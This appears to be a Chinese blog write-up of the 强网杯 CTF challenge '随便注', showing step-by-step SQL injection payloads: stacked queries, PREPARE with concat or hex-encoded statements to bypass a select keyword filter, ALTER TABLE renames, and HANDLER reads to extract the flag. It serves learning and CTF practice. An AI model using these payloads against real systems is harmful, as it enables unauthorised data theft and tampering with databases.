强网杯_随便注
探针
1' or 1 = 1
,测试一下是否存在sql注入- 提交后提示error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line1,说明后端参数后面有可能存在其他sql语句,我们在
1' or 1 = 1
后面加一个#
,将可能存在的其他sql语句注释掉,即:1' or 1 = 1#
,成功输出了该表的所有数据,但是没有flag - 既然存在sql注入,那么我们手动探测一下其他的表,首先判断一下字段个数:' union select 1,2;#,系统提示return preg_match("/select|update|delete|drop|insert|where|./i",$inject);,preg_match函数用于执行正则表达式,也就是说,系统通过该代码将select等关键字都过滤了。
- 既然select关键字无法使用,我们可以通过堆叠注入的方式,来绕过select关键字。(即同时执行多条SQL语句)
- 查看数据库名:
1';show databases;#
- 查看数据表
:1';show tables;#
- 我们先来看一下第一个表1919810931114514的表结构,有两种方式:
1'; show columns from tableName;#
`1';desc tableName;#(注意:数据库为纯数字时要用 ` 包裹)
1';
desc`1919810931114514`
;#
Payload
-
预编译
-
直接编译:
1';PREPARE hacker from concat('s','elect', ' * from
1919810931114514');EXECUTE hacker;#
-
16进制编译,我们可以直接将
select * from
1919810931114514``语句进行16进制编码payload:1
1';PREPARE hacker from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE hacker;#
-
也可以先定义一个变量并将sql语句初始化
1
1';Set @jia = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE hacker from @jia;EXECUTE hacker;#
-
-
最后一步(第8步)也可以通过修改表名和列名来实现。我们输入1后,默认会显示id为1的数据,可以猜测默认显示的是words表的数据,查看words表结构第一个字段名为
id
我们把words表随便改成words1,然后把1919810931114514表改成words,再把列名flag改成id,就可以达到直接输出flag字段的值的效果:1'; alter table words rename to words1;alter table
1919810931114514rename to words;alter table words change flag id varchar(50);#
,然后通过1' or 1 = 1 #
,成功获取到flag。 -
1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE;
知识记录
1.预编译
预编译相当于定一个语句相同,参数不通的Mysql模板,我们可以通过预编译的方式,绕过特定的字符过滤
格式:
1 | PREPARE 名称 FROM Sql语句 ? ; |
举例:查询ID为1的用户:
1 | 方法一: |
2. 更改表名
- 修改表名:
ALTER TABLE 旧表名 RENAME TO 新表名;
- 修改字段:
ALTER TABLE 表名 CHANGE 旧字段名 新字段名 新数据类型;
3.handle
- handle不是通用的SQL语句,是Mysql特有的,可以逐行浏览某个表中的数据,格式:
1 | 打开表: |
All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Comment